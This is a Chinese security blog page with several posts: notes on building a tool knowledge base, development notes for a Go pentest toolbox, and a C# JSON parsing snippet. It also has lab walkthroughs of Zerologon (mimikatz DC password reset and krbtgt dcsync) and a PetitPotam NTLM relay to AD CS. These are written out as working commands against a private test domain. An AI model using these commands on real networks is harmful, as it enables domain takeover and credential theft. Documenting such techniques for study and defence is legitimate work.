Cond0r 发布的文章

个人知识库建立的一点思考之工具分享

比较琐碎,想到什么说什么,没有对内容做太多的构思。

花了一下午时间把github star的所有项目进行了标签分类,顺便在不安全上开了一个新的页面,就叫做工具分享

我更愿意把他当作一个自己的gist/snippet,用于记录比较有价值的项目,本来不安全首页中的文章在19年,20年之前基本全都是我阅读过觉得比较有价值的文章,然后才会进行的一个归档;

但是随着事情越来越多,每天不像以前有那么多时间都可以去学习新的东西;才引入了自动采集,这样在每天闲的时候可以看一下今天有没有什么有趣的东西,哪怕就算十天半个月不看也会有一个留档,事后也可以在翻出来看看。

后面也加入阅读量统计,然后自动生成今日热贴,本来是想推送到公众号的,但是实在是没有养成习惯,就放弃了,虽然现在每天22点就自动生成热贴并上传到公众号的后台,但是依然没能坚持下去。

-w1370
-w1319

已经积压了相当多一部分帖子了。

扯远了,说回不安全工具分享这个功能上,本来正在使用obsidian进行知识库的建立,成体系或可以成一定篇幅的文章、笔记到相对容易进行归类,唯独工具这块,经常会看到很多有价值的东西,但是有不可能每一个都去写一个新的帖子

-w1541

虽然也做了一些尝试,但是实在是累,与其这样不如简单一点,就以weibo/twitter这种形式进行一个笔记,在通过tag进行分类,最后花了10分钟在不安全上加了一个新的页面;但是光整理我star过的工具就花了整整一个下午。。

蹉跎工具箱开发笔记

前言

南京疫情,哪儿也去不了,正好也闲下来了,不如写点小工具,求索推出之后得到了一些认同,干脆这次就把其中的一些功能拆出来做一个客户端版本,正好最近开了go的GUI开发。

主要针对的场景是一些渗透过程中的辅助手段,不要打开太多额外的工具就可以满足部分需求,主要还是提高效率,节约时间。

本来想做成teamserver模式的,但是一想,做成teamserver那不是重复造求索和GoRat的轮子嘛,罢了罢了,就本地模式吧。

产品构思

产品构思很简单,四个大模块

1. 常用指令

-w1136

即快捷笔记,记录一些日常用的命令,语句等
可以理解成一个渗透的snippet,好比求索中的笔记功能,但是去掉了分类功能,只有顶级目录,这样更容易抓住重点,而不是在这里记录太多的过程中的数据。

2. 聊天协同

-w1136
其实我一直想给求索加上聊天功能,但是实在是懒,而且需要考虑的太多,也没那么多连续的时间。

先在蹉跎上实现了该功能,其实也比较简单,就是蹉跎支持以服务端模式或客户端模式启动,这样比如在打一个CTF或其他形式的线下比赛,但是禁止了外网通讯,这样在不依赖其他软件的情况下可以实现一个加密聊天室的功能,也支持文件/图片的传输分享,还算比较方便,甚至你也可以假设在公网上,服务端不存储任何聊天记录,只做一个转发的作用。

3. 信息查询

-w1136

基本也是求索中的必备模块.
这里面集了4个小模块,分别是 目录扫描、子域爆破、端口扫描、api查询。
目录和端口没啥好说的,子域名爆破这块参考了ksubdomain的思路,可以做到高并发,但是实际用wifi或家庭带宽的话效果不是很好,而且也需要system、root权限才可以执行。
api接口这块只保留了佛法和securitytrails的。

4. 编码/加密

-w1136

这个是新增的一个新模块。

这部分实际还没做完,目前就是常用的加密、编码,如base64,urlencode,md5,sha1等,额外把http://jackson-t.ca/runtime-exec-payloads.html的powershell encode和bash encode加了进来。
后面其实还要把shellcode生成,shellcode loader生成的功能加进来

心得体会

规划

功能上就这么多,理论上我应该还会把GoRat的部分功能在集成进来,比如一个简易的C/S的Rat,在加上端口映射、代理等功能。

理想情况下是做一个AllInOne的工具箱,其实也没什么难点,无非就是把常用的东西集成进去罢了,更多的是一些业务逻辑上的开发,没有啥挑战,所以可能永远就是理想情况下了,哈哈。

UI部分

UI部分采用的Wails.App实现的,配合Vue写的界面,这个框架总的来说写一些简单的程序没问题,之前也用过fyne相比之前还是wails更快一点,fyne写的太要命了,完全需要自己去用他的语法描述界面,特别痛苦。

Wails采用的类似Electron的模式,通过webview调用打包好的html资源,然后通过ws做rpc调用和go的方法进行bind,达到在js里面调用native的方法,也支持参数的传递,而且不限制参数类型,string,int,甚至json也可以自动序列化,这点还是不错的。
相比electron他打包出来的体积只有10M左右,因为wails并不会内置一个浏览器进去,而是调用系统自带的浏览器,这点的话因为我开发用的chrome,实际跑起来竟然用的是safari,有一些兼容性问题踩了一些坑。

功能部分

没啥太多难的地方,Vue我也没怎么写过,也是边学边做,主要是卡在调css之类的地方,虽然用的element-ui,但是还是有一些细节需要调整的,前后写了2天,也学到不少东西。

大部分功能基本都是求索里面的模块,正好之前也拆出来写了一个go module,基本做一些调用就行了,唯一下功夫的地方就是在子域爆破这块,
实际是调用libpcap发原生的dns查询包,然后开俩个gorountine,一个负责发,一个负责收,收的这块就是用libpcap的过滤器拦截返回包进行解析就行了,发这块需要防止丢包,实际上是需要一个重试机制,简单的理解就是如果没有应答的请求就一直重发,然后带一个限流器做限速。

检测是否存在漏洞

lsadump::zerologon /target:192.168.81.137 /account:dian7server$

-w911

重置域控密码为空

lsadump::zerologon /target:192.168.81.137  /account:dian7server$  /exploit 

-w901

dcsync导出hash

lsadump::dcsync /domain:dian7.local /dc:dian7server /user:krbtgt /authuser:dian7server$ /authdomain:dian7 /authpassword:"" /authntlm

-w900

还原密码

lsadump::postzerologon /target:192.168.81.137  /account:dian7server$

参考资料

http://www.saferoad.cc/notes/661.html
https://www.cnblogs.com/potatsoSec/p/13710947.html
https://stealthbits.com/blog/zerologon-from-zero-to-hero-part-2/
https://cloud.tencent.com/developer/article/1760129

Petitpotam

Petitpotam是继Windows PrintSpooler之后的一个无需验证,即可强制任意机器访问指定服务的漏洞。

环境

HostNameIP
Dian7DC1192.168.81.137
Dian7WIN10-2(DC2)192.168.81.141
Dian7WIN10-1(Client)192.168.81.142
Kali192.168.81.135

通过responder获取ntlmv2

# kali
responder -I eth0   

#win10-1
PetitPotam 192.168.81.135 192.168.81.142
PetitPotam 192.168.81.135 192.168.81.141
PetitPotam 192.168.81.135 192.168.81.137

-w902

通过ntlmreplayx获取票据

# kali 
impacket-ntlmrelayx -debug -smb2support --target http://192.168.81.137/certsrv/certfnsh.asp --adcs --template DomainContoller

# client 
PetitPotam 192.168.81.135 192.168.81.141

-w880

捕获到证书之后在使用kekao生成ptt

kekeo.exe
base64 /input:on

tgt::ask /pfx:{cert} /user:win10-2$ /domain:dian7.local /ptt

klist查看是否已经生成好

-w895

创建一个域管帐号
**疑问:理论上来说如果是多dc的情况下是到这部可以直接dcsync导出hash了,但是因为我实际只有一台dc,另一个win10过了一个domain admin权限的账户,导致不能通过直接该dc账户的票据去导出hash,所以只能通过该票据创建一个帐号
问题就在于,为啥这个win10的domain admins帐号不能使用票据注入之后的会话来dcsync导出hash
**

-w929

切换帐号

runas /user:dian7\ccc cmd

-w908

参考资料

https://docs.microsoft.com/en-us/answers/questions/76559/windows-ca-webenrollement-certificate-problems.html
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
https://chryzsh.github.io/relaying-delegation/
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack (需要使用该版本的impacket)
https://github.com/SecureAuthCorp/impacket/pull/1101
https://therecord.media/new-petitpotam-attack-forces-windows-hosts-to-share-their-password-hashes/
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
https://github.com/topotam/PetitPotam
https://twitter.com/wdormann/status/1418576755389083662
https://blog.51cto.com/yaabb163/987138
https://www.cnblogs.com/firstdream/p/8515453.html
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain
https://www.jianshu.com/p/a3ddd7502c09
https://video.twimg.com/tweet_video/E7AW7-aXEAEmy2X.mp4

有一个json,其某一个key包含的是自身,其实就是一个多叉树,通过NewtonsoftJson进行反序列化

json内容

[{
        "id": 1,
        "name": "c1",
        "type": "catelog",
        "text": "11",
        "sub": [{
            "id": 2,
            "name": "s1",
            "type": "catelog",
            "text": "123123",
            "sub": [{
                "id": 3,
                "name": "s2",
                "type": "text",
                "text": "3333",
                "sub": []

            }]

        }]

    },
    {
        "id": 4,
        "name": "c2",
        "type": "catelog",
        "text": "11",
        "sub": [{
            "id": 5,
            "name": "s5",
            "type": "123123aaa",
            "text": "33",
            "sub": [{
                "id": 6,
                "name": "s6",
                "type": "text",
                "text": "123123",
                "sub": []

            }]

        }]

    }
]

实现方法

首先声明一个数据类

  public class Result
    {
        public int id { get; set; }
        public string name { get; set; }
        public string type { get; set; }
        public string text { get; set; }
        public List<Result> sub { get; set; }
    }

然后是解码方法

class Catelogs
    {
        public List<Model.Result> subs;
        public void LoadSubs()
        {
            subs = new List<Model.Result>{ };
            string myJsonResponse =File.ReadAllText(@"c:\test\text.txt");
            subs = this.LoadSubs(myJsonResponse, subs);
            var s = subs;
            Console.WriteLine(subs);

        }
        private List<Model.Result> LoadSubs(string json, List<Model.Result> result)
        {
            JArray jar = (JArray)JsonConvert.DeserializeObject(json);
            // 读取数据到Jarray 然后进行bianli
            foreach (JObject item in jar)
            {
                var rowResult = new Model.Result();
                //继续便利所有的key value
                foreach (var row in item)
                {
                    // 通过识别不同的key value进行赋值
                    switch (row.Key)
                    {
                        case "id":
                            rowResult.id = (int)row.Value;
                            break;
                        case "name":
                            rowResult.name = row.Value.ToString();
                            break;
                        case "type":
                            rowResult.type = row.Value.ToString();
                            break;
                        case "text":
                            rowResult.text = row.Value.ToString();
                            break;
                        case "sub":
                            // 如果是sub 则调用自身进行递归
                            rowResult.sub = new List<Model.Result> { };
                            this.LoadSubs(row.Value.ToString(), rowResult.sub);
                            break;
                        default:
                            break;
                    }
                }
                result.Add(rowResult);
            }
            return result;
        }
    }

参考资料

https://blog.csdn.net/qq_36894527/article/details/103976964